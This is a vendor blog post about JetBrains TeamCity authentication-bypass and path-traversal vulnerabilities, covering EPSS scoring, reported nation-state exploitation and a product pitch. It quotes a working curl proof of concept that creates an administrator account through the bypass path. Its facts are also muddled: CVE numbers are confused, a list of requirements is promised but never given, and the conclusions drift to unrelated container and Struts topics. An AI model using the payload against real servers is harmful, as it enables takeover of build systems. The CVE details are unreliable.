blog

Vulnerability Alert: Understanding CVE-2024-23917 and CVE-2024-27199 Vulnerabilities in JetBrains TeamCity On-Premises CI/CD Software Exploitation by nation-state



TeamCity, Exploit, Jet brain, Vulnerability, CVE-2024-23917 and CVE-2024-27199, Vulnerability management , epss

Two recent vulnerabilities, CVE-2024-23917 and CVE-2024-27199, have emerged within JetBrains software, highlighting the need for robust vulnerability management strategies and shedding light on the importance of the Exploit Prediction Scoring System (EPSS), vulnerability management and identifying critical software at scale.

Exploits available

The two vulnerabilities were discovered by Stephen Fewer, a principal security researcher at Rapid7, and reported to JetBrains in mid-February.

  • CVE-2024-27198 (critical, 9.8 severity): an authentication bypass vulnerability in the web component of TeamCity generated by an alternative path issue
  • CVE-2024-27199 (high, 7.3 severity): a path traversal vulnerability in the web component of TeamCity that allows bypassing authentication

The researchers warn that CVE-2024-27198 can give an attacker complete control over a vulnerable TeamCity On-Premises server, including for remote code execution.

TeamCity, Exploit, Jet brain, Vulnerability, CVE-2024-23917 and CVE-2024-27199, Vulnerability management

The CVE-2024-23917 Vulnerability: A Closer Look

CVE-2024-23917 represents a significant security threat, having been identified as a critical vulnerability within JetBrains software. This vulnerability underscores the risks associated with insufficient authentication mechanisms, potentially allowing unauthenticated attackers to gain administrative control over affected systems. The severity of CVE-2024-23917, with a high CVSS score, emphasizes the urgency for organizations to adopt comprehensive vulnerability management practices to mitigate the risk of exploitation.

CVE-2024-27199: Path Traversal and Authentication Bypass

On the heels of CVE-2024-23917, the cybersecurity community has turned its attention to another vulnerability within JetBrains software, CVE-2024-27199. Characterized by a path traversal flaw, CVE-2024-27199 enables attackers to bypass authentication controls, presenting a significant threat to the integrity and confidentiality of systems. Like its predecessor, CVE-2024-27199 has received a notable CVSS score, prompting immediate action from JetBrains in the form of patches and security updates.

The Role of JetBrains in Vulnerability Management

JetBrains, a leading developer of software development tools, has responded swiftly to these vulnerabilities by releasing updates and patches aimed at securing affected systems. The company’s commitment to addressing these vulnerabilities exemplifies the critical role that software vendors play in the broader vulnerability management ecosystem. Organizations relying on JetBrains software are encouraged to implement these updates promptly, as part of their overarching cybersecurity strategy.

Exploitation of CVE-2024-23917 and CVE-2024-27199

TeamCity, Exploit, Jet brain, Vulnerability, CVE-2024-23917 and CVE-2024-27199, Vulnerability management , epss

Activity around these vulnerabilities has been recently evidenced by shadowserver 

Whilst CISA has not yet disclosed this, the criticality of the vulnerabilities is evident by both the easiness of exploitation and evidence of exploit being leverage by Russian and North Korean 

“The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency (CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), CERT Polska (CERT.PL), and the UK’s National Cyber Security Centre (NCSC) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard—are exploiting CVE-2023-42793 at a large scale, targeting servers hosting JetBrains TeamCity software since September 2023.” CISA

With rump up of exploitability EPSS still needs to pick the second one up whilst the CVE-202342793 is already epss: 0.973450000

 this one up 

CVE-2024-27199, with epss : 0.000430000

And

Triggering the vulnerability CVE-202342793 and CVE-2024-27199

Triggering the vulnerability

To see how to leverage this vulnerability, we can target an example endpoint. The /app/rest/server endpoint will return the current server version information. If we directly request this endpoint, the request will fail as the request is unauthenticated.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm=”TeamCity”
WWW-Authenticate: Bearer realm=”TeamCity”
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT
Authentication required
To login manually go to “/login.html” page

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

The exploitation of the CVE-related authentication bypass vulnerability within JetBrains TeamCity software demonstrates a significant security threat, enabling attackers to take comprehensive control over the affected servers. 

This vulnerability allows an unauthenticated attacker to manipulate the server by creating a new administrator account or generating a new administrator access token through relatively simple HTTP requests.

For instance, by targeting the /app/rest/users REST API endpoint, an attacker can craft a command to create a new administrator user with full privileges. This is achieved by sending a specially crafted POST request containing JSON data that specifies the new user’s username, password, email, and roles, effectively bypassing authentication mechanisms. 

TeamCity, Exploit, Jet brain, Vulnerability, CVE-2024-23917 and CVE-2024-27199, Vulnerability management

Credit Rapid 7 

The successful execution of this command is confirmed by a 200 HTTP response, which includes an XML payload detailing the new user’s credentials and roles, demonstrating that the attacker has successfully gained administrative access.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" HTTP/1.1 200TeamCity-Node-Id: MAIN_SERVER Cache-Control: no-store Content-Type: application/xml;charset=ISO-8859-1 Content-Language: en-IE Content-Length: 661<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>
Date: Wed, 14 Feb 2024 17:33:32 GMT

Moreover, attackers can further exploit this vulnerability by generating new administrator access tokens. This is accomplished by sending a POST request to the /app/rest/users/id:1/tokens/HaxorToken endpoint. The server’s response to this request confirms the creation of the token, granting the attacker another method to access the server with elevated privileges.

Both methods—creating a new administrator user and generating an administrator access token—provide attackers with powerful tools to gain unauthorized control over TeamCity servers. This control extends to all projects, builds, agents, and artefacts associated with the compromised server, posing a critical threat to the integrity and security of the software development and deployment process. Addressing this vulnerability requires immediate action from administrators, including applying patches provided by JetBrains and reviewing system access controls and activity logs for any signs of unauthorized access or manipulation.

Leveraging EPSS for Proactive Security

The Exploit Prediction Scoring System (EPSS) offers a data-driven approach to assessing the likelihood of vulnerability exploitation. By integrating EPSS into vulnerability management processes, organizations can prioritize remediation efforts based on the risk profile of each vulnerability. EPSS scores for CVE-2024-23917 and CVE-2024-27199 provide valuable insights into the potential for these vulnerabilities to be exploited, enabling more informed decision-making and resource allocation.

whilst the CVE-202342793 is already epss: 0.973450000

The CVE-2024-27199, with epss : 0.000430000 needs still adjustment 

Check out the guide Phoenix security EPSS

Check out the data explorers

CISA KEV: https://phoenix.security/what-is-cisa-kev-main/ 

Exploit in the wild: https://phoenix.security/what-is-exploitability/ 

OWASP/Appsec Vulnerability: https://phoenix.security/what-is-owasp-main/

CWE/Appsec Vulnerabilities: https://phoenix.security/what-is-cwe-main/ 

Conclusion: A Call for Comprehensive Cybersecurity Measures

The discovery of CVE-2024-23917 and CVE-2024-27199 within JetBrains software serves as a stark reminder of the ever-present threat posed by cybersecurity vulnerabilities. As organizations navigate the complexities of the digital age, the importance of vulnerability management, bolstered by tools like EPSS, cannot be overstated. Proactive security measures, including regular software updates and patches, are essential for safeguarding critical infrastructure and protecting sensitive information from potential threats.

In conclusion, the cybersecurity landscape continues to evolve, with vulnerabilities like CVE-2024-23917 and CVE-2024-27199 representing both challenges and opportunities for improvement. By embracing a holistic approach to vulnerability management and leveraging predictive tools such as EPSS, organizations can strengthen their defenses and maintain resilience against cyber threats.

Conclusion

The discovery of the “Leaky Vessels” vulnerabilities serves as a critical reminder of the inherent risks in containerized environments and the need for proactive vulnerability management and application security practices. By staying informed about potential vulnerabilities, applying timely updates, and employing comprehensive security strategies, organizations can navigate the choppy waters of container security and safeguard their applications against emerging threats.

How Phoenix Security Can Help

attack graph, phoenix security

Phoenix Security ASPM helps organizations identify and trace which systems have vulnerabilities, understanding the relation between code and cloud. One of the significant challenges in securing applications is knowing where software like jet brain is installed and how could impact the whole organization. ASPM – Vulnerability management tools can help scale your vulnerability management and identify instances of JetBrain, mapping out where it is deployed across the organization. This information is crucial for targeted security measures and efficient patch management. Phoenix Security’s robust Application Security Posture Management (ASPM) system is adept at not just managing, but preempting the exploitation of vulnerabilities through its automated identification system. This system prioritises critical vulnerabilities, ensuring that teams can address the most pressing threats first, optimising resource allocation and remediation efforts.

TeamCity, Exploit, Jet brain, Vulnerability, CVE-2024-23917 and CVE-2024-27199, Vulnerability management

The Role of Application Security Posture Management (ASPM):

ASPM is vital in managing and securing applications like those built with Apache Struts. It involves continuous assessment, monitoring, and improvement of the security posture of applications. ASPM tools can:

  1. Identify and Track Struts Components: Locate where Struts is implemented within the application infrastructure.
  2. Vulnerability Management: Detect known vulnerabilities in Struts and prioritize them for remediation.
  3. Configuration Monitoring: Ensure Struts configurations adhere to best security practices.
  4. Compliance: Check if the usage of Struts aligns with relevant cybersecurity regulations and standards.
TeamCity, Exploit, Jet brain, Vulnerability, CVE-2024-23917 and CVE-2024-27199, Vulnerability management ,epss

By leveraging Phoenix Security, you not only unravel the potential threats but also take a significant stride in vulnerability management, ensuring your application security remains up to date and focuses on the key vulnerabilities.

Get an overview of your asset lineage

Previous Issues of Vulnerability Weekly


Other Useful resources

Data Visualization of vulnerabilities in the wild


Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Discover and fix CVE-2024-3094 vulnerability affecting Linux distributions liblzma, part of the xz package, Fedora, openSUSE, Debian, and Kali. Get the latest updates, fixes, and security recommendations to safeguard your system against unauthorized access through compromised XZ Utils. Protect and discover the affected system with ASPM, Application security Posture management
Francesco Cipollone
Discover and fix CVE-2024-3094 vulnerability affecting Linux distributions liblzma, part of the xz package, Fedora, openSUSE, Debian, and Kali. Get the latest updates, fixes, and security recommendations to safeguard your system against unauthorized access through compromised XZ Utils. Protect and discover the affected system with ASPM, Application security Posture management
Francesco Cipollone
Discover and fix CVE-2024-3094 vulnerability affecting Linux distributions liblzma, part of the xz package, Fedora, openSUSE, Debian, and Kali. Get the latest updates, fixes, and security recommendations to safeguard your system against unauthorized access through compromised XZ Utils. Protect and discover the affected system with ASPM, Application security Posture management
Francesco Cipollone
Explore the interplay between the MITRE ATT&CK framework and EPSS for effective vulnerability management. Learn how these tools help predict and prioritize cyber threats, with deep dives into the most and least exploited techniques. Stay ahead in cybersecurity with Phoenix’s advanced analysis.
Francesco Cipollone

Derek Fisher

Head of product security at a global fintech

Derek Fisher – Head of product security at a global fintech. Speaker, instructor, and author in application security.

Derek is an award winning author of a children’s book series in cybersecurity as well as the author of “The Application Security Handbook.” He is a university instructor at Temple University where he teaches software development security to undergraduate and graduate students. He is a speaker on topics in the cybersecurity space and has led teams, large and small, at organizations in the healthcare and financial industries. He has built and matured information security teams as well as implemented organizational information security strategies to reduce the organizations risk.

Derek got his start in the hardware engineering space where he learned about designing circuits and building assemblies for commercial and military applications. He later pursued a computer science degree in order to advance a career in software development. This is where Derek was introduced to cybersecurity and soon caught the bug. He found a mentor to help him grow in cybersecurity and then pursued a graduate degree in the subject.

Since then Derek has worked in the product security space as an architect and leader. He has led teams to deliver more secure software in organizations from multiple industries. His focus has been to raise the security awareness of the engineering organization while maintaining a practice of secure code development, delivery, and operations.

In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.